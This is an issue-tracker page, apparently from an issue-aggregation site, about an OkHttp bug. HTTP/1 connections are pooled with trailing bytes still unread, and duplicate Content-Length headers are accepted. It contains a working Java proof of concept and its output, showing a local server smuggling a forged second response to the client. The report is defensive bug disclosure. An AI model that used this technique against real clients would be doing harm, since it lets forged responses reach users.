Pooled HTTP/1 connection reused with a response left on the socket
Maintainers usually reply within 1 day
Nobody has claimed this yet.
Assessment
- Difficulty
- 4/5
- Estimated time
- 3-5 days
- Newbie friendliness
- 48/100
- Issue type
- Bug
- Clarity
- Clearly specified
- Activity status
- Active
- Tech stack
- kotlin
- Domain
- networking
Research direction
Start with Http1ExchangeCodec.kt around FixedLengthSource.read and RealConnection.kt around isHealthy; the issue also points to -UtilJvm.kt for headersContentLength(). Read the HTTP/1 response-body and connection-pooling tests, then run the relevant tests. Done means trailing bytes cannot become the next response and conflicting Content-Length values are rejected.
Written by the indexing model from the issue text.
Description
OkHttp returns an HTTP/1 connection to the pool as soon as the declared Content-Length has been consumed, without checking if there are still any remaining unread bytes on the socket. Those bytes can contain a complete second response, which is then returned as the response to the next request using that connection.
FixedLengthSource.read calls responseBodyComplete() as soon as bytesRemaining reaches zero:
https://github.com/lysine-dev/okhttp/blob/b830f03c8f161883e0213c22c170c3d1f5f5eaa6/okhttp/src/commonJvmAndroid/kotlin/okhttp3/internal/http1/Http1ExchangeCodec.kt#L450-L456
There doesn't seem to be any check for data left on the socket before the connection is pooled.RealConnection.isHealthy does have some check, but it only runs after the connection has been idle for some time:
https://github.com/lysine-dev/okhttp/blob/b830f03c8f161883e0213c22c170c3d1f5f5eaa6/okhttp/src/commonJvmAndroid/kotlin/okhttp3/internal/connection/RealConnection.kt#L321-L323
So back to back requests skip it the check.
OkHttp also accepts conflicting Content-Length headers, as headersContentLength() takes headers["Content-Length"] and parses it:
https://github.com/lysine-dev/okhttp/blob/b830f03c8f161883e0213c22c170c3d1f5f5eaa6/okhttp/src/commonJvmAndroid/kotlin/okhttp3/internal/-UtilJvm.kt#L243-L246
Since Headers.get returns the last value when there's multiple, two different lengths are resolved instead of rejected, depsite RFC 9112#6.3 saying it should be treated as an error (https://www.rfc-editor.org/rfc/rfc9112.html#section-6.3)
Demonstrating this in practise, we set up a server which server accepts one connection and sends both responses at once. Due to the bug, it never sends a response to the second request:
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.InetAddress;
import java.net.ServerSocket;
import java.net.Socket;
import java.nio.charset.StandardCharsets;
import java.util.concurrent.atomic.AtomicInteger;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;
public class Poc38 {
static final AtomicInteger connections = new AtomicInteger();
public static void main(String[] args) throws Exception {
boolean duplicate = args.length == 0 || args[0].equals("duplicate");
String responseHeaders = duplicate
? "HTTP/1.1 200 OK\r\nContent-Length: 0\r\nContent-Length: 5\r\n\r\n"
: "HTTP/1.1 200 OK\r\nContent-Length: 5\r\n\r\n";
String wire = responseHeaders
+ "first"
+ "HTTP/1.1 200 OK\r\nContent-Length: 17\r\n\r\nSMUGGLED RESPONSE";
ServerSocket server = new ServerSocket(0, 50, InetAddress.getByName("127.0.0.1"));
new Thread(() -> {
try {
Socket s = server.accept();
connections.incrementAndGet();
drainRequest(s.getInputStream());
s.getOutputStream().write(wire.getBytes(StandardCharsets.US_ASCII));
s.getOutputStream().flush();
Thread.sleep(60_000);
} catch (Exception ignored) {
}
}).start();
String base = "http://127.0.0.1:" + server.getLocalPort();
OkHttpClient client = new OkHttpClient();
System.out.println("mode: " + (duplicate
? "two Content-Length headers (0 and 5)"
: "one Content-Length (5) plus trailing bytes"));
try (Response r = client.newCall(new Request.Builder().url(base + "/one").build()).execute()) {
System.out.println("GET /one -> " + r.code() + " body=" + r.body().string());
}
try (Response r = client.newCall(new Request.Builder().url(base + "/two").build()).execute()) {
System.out.println("GET /two -> " + r.code() + " body=" + r.body().string());
}
System.out.println("TCP connections accepted by server: " + connections.get());
System.exit(0);
}
static void drainRequest(InputStream in) throws IOException {
BufferedReader r = new BufferedReader(new InputStreamReader(in, StandardCharsets.US_ASCII));
String line;
while ((line = r.readLine()) != null && !line.isEmpty()) {
}
}
}
This results in:
mode: two Content-Length headers (0 and 5)
GET /one -> 200 body=first
GET /two -> 200 body=SMUGGLED RESPONSE
TCP connections accepted by server: 1
mode: one Content-Length (5) plus trailing bytes
GET /one -> 200 body=first
GET /two -> 200 body=SMUGGLED RESPONSE
TCP connections accepted by server: 1
The second mode, which has just one normal Content-Length, shows that any bytes after the declared body length can poison the contention in the same way: since the GET /two is answered using the bytes the server sent for get /ONE, and the connection count shows that both requests used the same socket.
This relies on a shared OkHttpClient, which based on a quick google and stackoverflow threads, it seems to be a completely reasonable thing to do (e.g. https://stackoverflow.com/questions/48532860/is-it-thread-safe-to-make-calls-to-okhttpclient-in-parallel).
- Dominant language
- Kotlin
- Stars
- 47.1k
- Forks
- 9.3k
- Avg merge
- 18h 18m
- Merged PRs (30d)
- 15
Getting set up
This project ships no dev container, Dockerfile or contributing guide, so setting up is up to you: start from its README, and see our first-contribution guide for the general steps.
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
More from lysine-dev/okhttp
-
Difficulty 1/5 Under an hour Newbie friendliness 85/100
lysine-dev/okhttp#9788 ·
Maintainers usually reply within 1 day
-
enhancement
Difficulty 2/5 1-3 hours Newbie friendliness 68/100
lysine-dev/okhttp#9761 · 3 comments ·
Maintainers usually reply within 1 day
-
Remove crossinline `addInterceptor` and `addNetworkInterceptor` overloadsMay be free again @Amir-Golmoradi claimed this 7 days ago, and no pull request is open. Openenhancement
Difficulty 3/5 1-2 days Newbie friendliness 58/100
lysine-dev/okhttp#9779 · 1 comment ·
Maintainers usually reply within 1 day
-
HTTP/2 Data padding is not counted toward the connection flow-control window. This deadlocks connections with peers that pad.May be free again @Amir-Golmoradi claimed this 7 days ago, and no pull request is open. Openbug
Difficulty 3/5 1-2 days Newbie friendliness 67/100
lysine-dev/okhttp#9772 · 6 comments ·
Maintainers usually reply within 1 day
-
bug
Difficulty 2/5 1-3 hours Newbie friendliness 55/100
lysine-dev/okhttp#9760 · 3 comments ·
Maintainers usually reply within 1 day
All issues in lysine-dev/okhttp
Similar issues
-
Dev
Difficulty 2/5 1-3 hours Newbie friendliness 62/100
ankidroid/Anki-Android#22555 ·
Maintainers usually reply within 1 day
-
enhancement good first issue help wanted
Difficulty 2/5 1-3 hours Newbie friendliness 78/100
-
core: RAC_LLM_OPTIONS_DEFAULT.min_p disagrees with the IDL's annotated defaultPossibly taken A pull request linked to this issue is open or already merged. Openbug core p3
Difficulty 2/5 1-3 hours Newbie friendliness 70/100
RunanywhereAI/runanywhere-sdks#1083 ·
Maintainers usually reply within 5 days
-
enhancement
Difficulty 2/5 1-3 hours Newbie friendliness 75/100
Maintainers usually reply within 1 day
-
Java and Kotlin (JVM): parse gradle/wrapper/gradle-wrapper.properties with exact line locationsOpenarea: detector eco: java help wanted lane: free-agent roadmap size: S type: parser
Difficulty 2/5 1-3 hours Newbie friendliness 62/100
arminazimi/evergreen#355 ·
Maintainers usually reply within 1 day